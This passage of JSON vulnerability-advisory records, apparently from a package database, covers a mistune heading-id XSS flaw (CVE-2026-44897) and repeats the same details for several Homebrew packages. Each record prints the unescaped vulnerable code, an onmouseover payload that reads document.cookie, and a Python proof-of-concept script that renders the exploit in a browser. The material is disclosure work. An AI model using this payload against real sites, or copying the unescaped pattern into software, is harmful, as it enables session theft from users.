{out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune\u0027s `heading_id` callback without independently sanitising the returned value.",
  "id": "BREW-iredis-CVE-2026-44897",
  "modified": "2026-09-17T17:45:16Z",
  "published": "2026-08-13T17:00:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Heading ID Attribute has Injection XSS",
  "upstream": [
    "GHSA-v87v-83h2-53w7",
    "CVE-2026-44897",
    "PYSEC-2026-2207"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "jiratui",
        "purl": "pkg:brew/jiratui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.0_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML \u2014 with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, \u2026) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself \u2014 to produce human-readable slug anchors like `#installation` or `#getting-started` \u2014 is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027    # \u2190 _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned \u2014 no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, \u2026\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput \u2014 ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 \u2014 Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version \u2014 return the raw heading text unchanged \u2014 to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 \u2014 Observe attribute breakout in the output**\n\n```python\nex_src = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim \u2014 no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 \u2014 Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 \u2014 Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027 with no escaping.\nTriggered when heading_id callback returns raw heading text \u2014 the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading \u2192 sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading \u2192 quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune\u0027s `heading_id` callback without independently sanitising the returned value.",
  "id": "BREW-jiratui-CVE-2026-44897",
  "modified": "2026-09-10T00:14:14Z",
  "published": "2026-08-13T17:00:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Heading ID Attribute has Injection XSS",
  "upstream": [
    "GHSA-v87v-83h2-53w7",
    "CVE-2026-44897",
    "PYSEC-2026-2207"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "jupyterlab",
        "purl": "pkg:brew/jupyterlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "4.5.7_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML \u2014 with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, \u2026) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself \u2014 to produce human-readable slug anchors like `#installation` or `#getting-started` \u2014 is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027    # \u2190 _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned \u2014 no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, \u2026\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput \u2014 ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 \u2014 Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version \u2014 return the raw heading text unchanged \u2014 to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 \u2014 Observe attribute breakout in the output**\n\n```python\nex_src = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim \u2014 no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 \u2014 Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 \u2014 Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027 with no escaping.\nTriggered when heading_id callback returns raw heading text \u2014 the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading \u2192 sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading \u2192 quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune\u0027s `heading_id` callback without independently sanitising the returned value.",
  "id": "BREW-jupyterlab-CVE-2026-44897",
  "modified": "2026-09-17T19:02:18Z",
  "published": "2026-08-13T17:01:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Heading ID Attribute has Injection XSS",
  "upstream": [
    "GHSA-v87v-83h2-53w7",
    "CVE-2026-44897",
    "PYSEC-2026-2207"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.1.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "recon-ng",
        "purl": "pkg:brew/recon-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.1.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.1.4"
      }
    ]
  },
  "details": "## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML \u2014 with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, \u2026) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself \u2014 to produce human-readable slug anchors like `#installation` or `#getting-started` \u2014 is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027    # \u2190 _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned \u2014 no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, \u2026\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput \u2014 ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 \u2014 Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version \u2014 return the raw heading text unchanged \u2014 to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 \u2014 Observe attribute breakout in the output**\n\n```python\nex_src = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim \u2014 no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML 